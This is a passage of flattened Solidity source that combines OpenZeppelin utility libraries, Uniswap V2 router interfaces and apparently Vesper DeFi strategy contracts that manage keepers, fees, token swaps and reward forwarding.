usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IAddressList { function add(address a) external returns (bool); function addValue(address a, uint256 v) external returns (bool); function addMulti(address[] calldata addrs) external returns (uint256); function addValueMulti(address[] calldata addrs, uint256[] calldata values) external returns (uint256); function remove(address a) external returns (bool); function removeMulti(address[] calldata addrs) external returns (uint256); function get(address a) external view returns (uint256); function contains(address a) external view returns (bool); function at(uint256 index) external view returns (address, uint256); function length() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /* solhint-disable func-name-mixedcase */ import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; interface ISwapManager { event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period); function N_DEX() external view returns (uint256); function ROUTERS(uint256 i) external view returns (IUniswapV2Router02); function bestOutputFixedInput( address _from, address _to, uint256 _amountIn ) external view returns ( address[] memory path, uint256 amountOut, uint256 rIdx ); function bestPathFixedInput( address _from, address _to, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function bestInputFixedOutput( address _from, address _to, uint256 _amountOut ) external view returns ( address[] memory path, uint256 amountIn, uint256 rIdx ); function bestPathFixedOutput( address _from, address _to, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function safeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function safeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function comparePathsFixedInput( address[] memory pathA, address[] memory pathB, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function comparePathsFixedOutput( address[] memory pathA, address[] memory pathB, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function ours(address a) external view returns (bool); function oracleCount() external view returns (uint256); function oracleAt(uint256 idx) external view returns (address); function getOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external view returns (address); function createOrUpdateOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external returns (address oracleAddr); function consultForFree( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external view returns (uint256 amountOut, uint256 lastUpdatedAt); /// get the data we want and pay the gas to update function consult( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external returns ( uint256 amountOut, uint256 lastUpdatedAt, bool updated ); function updateOracles() external returns (uint256 updated, uint256 expected); function updateOracles(address[] memory _oracleAddrs) external returns (uint256 updated, uint256 expected); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./IPoolRewards.sol"; interface IEarnDrip is IPoolRewards { function rewardTokens(uint256 _index) external view returns (address); function growToken() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IPoolRewards { /// Emitted after reward added event RewardAdded(address indexed rewardToken, uint256 reward, uint256 rewardDuration); /// Emitted whenever any user claim rewards event RewardPaid(address indexed user, address indexed rewardToken, uint256 reward); /// Emitted after adding new rewards token into rewardTokens array event RewardTokenAdded(address indexed rewardToken, address[] existingRewardTokens); function claimReward(address) external; function notifyRewardAmount( address _rewardToken, uint256 _rewardAmount, uint256 _rewardDuration ) external; function notifyRewardAmount( address[] memory _rewardTokens, uint256[] memory _rewardAmounts, uint256[] memory _rewardDurations ) external; function updateReward(address) external; function claimable(address _account) external view returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts); function lastTimeRewardApplicable(address _rewardToken) external view returns (uint256); function rewardForDuration() external view returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration); function rewardPerToken() external view returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IStrategy { function rebalance() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function feeCollector() external view returns (address); function isReservedToken(address _token) external view returns (bool); function keepers() external view returns (address[] memory); function migrate(address _newStrategy) external; function token() external view returns (address); function totalValue() external view returns (uint256); function totalValueCurrent() external returns (uint256); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../bloq/IAddressList.sol"; interface IVesperPool is IERC20 { function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (IAddressList); function maintainers() external view returns (IAddressList); function feeCollector() external view returns (address); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 _interestFee, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); function withdrawFee() external view returns (uint256); // Function to get pricePerShare from V2 pools function getPricePerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../interfaces/vesper/IEarnDrip.sol"; import "../interfaces/vesper/IVesperPool.sol"; import "./Strategy.sol"; abstract contract Earn is Strategy { using SafeERC20 for IERC20; address public immutable dripToken; uint256 public dripPeriod = 48 hours; uint256 public totalEarned; // accounting total stable coin earned. This amount is not reported to pool. event DripPeriodUpdated(uint256 oldDripPeriod, uint256 newDripPeriod); constructor(address _dripToken) { require(_dripToken != address(0), "dripToken-zero"); dripToken = _dripToken; } /** * @notice Update update period of distribution of earning done in one rebalance * @dev _dripPeriod in seconds */ function updateDripPeriod(uint256 _dripPeriod) external onlyGovernor { require(_dripPeriod != 0, "dripPeriod-zero"); require(_dripPeriod != dripPeriod, "same-dripPeriod"); emit DripPeriodUpdated(dripPeriod, _dripPeriod); dripPeriod = _dripPeriod; } /// @dev Approves EarnDrip' Grow token to spend dripToken function approveGrowToken() external onlyKeeper { address _dripContract = IVesperPool(pool).poolRewards(); address _growPool = IEarnDrip(_dripContract).growToken(); // Checks that the Grow Pool supports dripToken as underlying require(address(IVesperPool(_growPool).token()) == dripToken, "invalid-grow-pool"); IERC20(dripToken).safeApprove(_growPool, 0); IERC20(dripToken).safeApprove(_growPool, MAX_UINT_VALUE); } /// @notice Converts excess collateral earned to drip token function _convertCollateralToDrip() internal { uint256 _collateralAmount = collateralToken.balanceOf(address(this)); _convertCollateralToDrip(_collateralAmount); } function _convertCollateralToDrip(uint256 _collateralAmount) internal { if (_collateralAmount != 0) { uint256 minAmtOut = (swapSlippage != 10000) ? _calcAmtOutAfterSlippage( _getOracleRate(_simpleOraclePath(address(collateralToken), dripToken), _collateralAmount), swapSlippage ) : 1; _safeSwap(address(collateralToken), dripToken, _collateralAmount, minAmtOut); } } /** * @notice Send this earning to drip contract. */ function _forwardEarning() internal virtual { (, uint256 _interestFee, , , , , , ) = IVesperPool(pool).strategy(address(this)); address _dripContract = IVesperPool(pool).poolRewards(); uint256 _earned = IERC20(dripToken).balanceOf(address(this)); if (_earned != 0) { // Fetches which rewardToken collects the drip address _growPool = IEarnDrip(_dripContract).growToken(); // Checks that the Grow Pool supports dripToken as underlying require(address(IVesperPool(_growPool).token()) == dripToken, "invalid-grow-pool"); totalEarned += _earned; uint256 _growPoolBalanceBefore = IERC20(_growPool).balanceOf(address(this)); IVesperPool(_growPool).deposit(_earned); uint256 _growPoolShares = IERC20(_growPool).balanceOf(address(this)) - _growPoolBalanceBefore; uint256 _fee = (_growPoolShares * _interestFee) / 10000; if (_fee != 0) { IERC20(_growPool).safeTransfer(feeCollector, _fee); _growPoolShares -= _fee; } IERC20(_growPool).safeTransfer(_dripContract, _growPoolShares); IEarnDrip(_dripContract).notifyRewardAmount(_growPool, _growPoolShares, dripPeriod); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "../dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../interfaces/bloq/ISwapManager.sol"; import "../interfaces/vesper/IStrategy.sol"; import "../interfaces/vesper/IVesperPool.sol"; abstract contract Strategy is IStrategy, Context { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 internal constant MAX_UINT_VALUE = type(uint256).max; // solhint-disable-next-line var-name-mixedcase address internal WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IERC20 public immutable collateralToken; address public receiptToken; address public immutable override pool; address public override feeCollector; ISwapManager public swapManager; uint256 public oraclePeriod = 3600; // 1h uint256 public oracleRouterIdx = 0; // Uniswap V2 uint256 public swapSlippage = 10000; // 100% Don't use oracles by default EnumerableSet.AddressSet private _keepers; event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector); event UpdatedSwapManager(address indexed previousSwapManager, address indexed newSwapManager); event UpdatedSwapSlippage(uint256 oldSwapSlippage, uint256 newSwapSlippage); event UpdatedOracleConfig(uint256 oldPeriod, uint256 newPeriod, uint256 oldRouterIdx, uint256 newRouterIdx); constructor( address _pool, address _swapManager, address _receiptToken ) { require(_pool != address(0), "pool-address-is-zero"); require(_swapManager != address(0), "sm-address-is-zero"); swapManager = ISwapManager(_swapManager); pool = _pool; collateralToken = IVesperPool(_pool).token(); receiptToken = _receiptToken; require(_keepers.add(_msgSender()), "add-keeper-failed"); } modifier onlyGovernor { require(_msgSender() == IVesperPool(pool).governor(), "caller-is-not-the-governor"); _; } modifier onlyKeeper() { require(_keepers.contains(_msgSender()), "caller-is-not-a-keeper"); _; } modifier onlyPool() { require(_msgSender() == pool, "caller-is-not-vesper-pool"); _; } /** * @notice Add given address in keepers list. * @param _keeperAddress keeper address to add. */ function addKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.add(_keeperAddress), "add-keeper-failed"); } /// @notice Return list of keepers function keepers() external view override returns (address[] memory) { return _keepers.values(); } /** * @notice Migrate all asset and vault ownership,if any, to new strategy * @dev _beforeMigration hook can be implemented in child strategy to do extra steps. * @param _newStrategy Address of new strategy */ function migrate(address _newStrategy) external virtual override onlyPool { require(_newStrategy != address(0), "new-strategy-address-is-zero"); require(IStrategy(_newStrategy).pool() == pool, "not-valid-new-strategy"); _beforeMigration(_newStrategy); IERC20(receiptToken).safeTransfer(_newStrategy, IERC20(receiptToken).balanceOf(address(this))); collateralToken.safeTransfer(_newStrategy, collateralToken.balanceOf(address(this))); } /** * @notice Remove given address from keepers list. * @param _keeperAddress keeper address to remove. */ function removeKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.remove(_keeperAddress), "remove-keeper-failed"); } /** * @notice Update fee collector * @param _feeCollector fee collector address */ function updateFeeCollector(address _feeCollector) external onlyGovernor { require(_feeCollector != address(0), "fee-collector-address-is-zero"); require(_feeCollector != feeCollector, "fee-collector-is-same"); emit UpdatedFeeCollector(feeCollector, _feeCollector); feeCollector = _feeCollector; } /** * @notice Update swap manager address * @param _swapManager swap manager address */ function updateSwapManager(address _swapManager) external onlyGovernor { require(_swapManager != address(0), "sm-address-is-zero"); require(_swapManager != address(swapManager), "sm-is-same"); emit UpdatedSwapManager(address(swapManager), _swapManager); swapManager = ISwapManager(_swapManager); } function updateSwapSlippage(uint256 _newSwapSlippage) external onlyGovernor { require(_newSwapSlippage <= 10000, "invalid-slippage-value"); emit UpdatedSwapSlippage(swapSlippage, _newSwapSlippage); swapSlippage = _newSwapSlippage; } function updateOracleConfig(uint256 _newPeriod, uint256 _newRouterIdx) external onlyGovernor { require(_newRouterIdx < swapManager.N_DEX(), "invalid-router-index"); if (_newPeriod == 0) _newPeriod = oraclePeriod; require(_newPeriod > 59, "invalid-oracle-period"); emit UpdatedOracleConfig(oraclePeriod, _newPeriod, oracleRouterIdx, _newRouterIdx); oraclePeriod = _newPeriod; oracleRouterIdx = _newRouterIdx; } /// @dev Approve all required 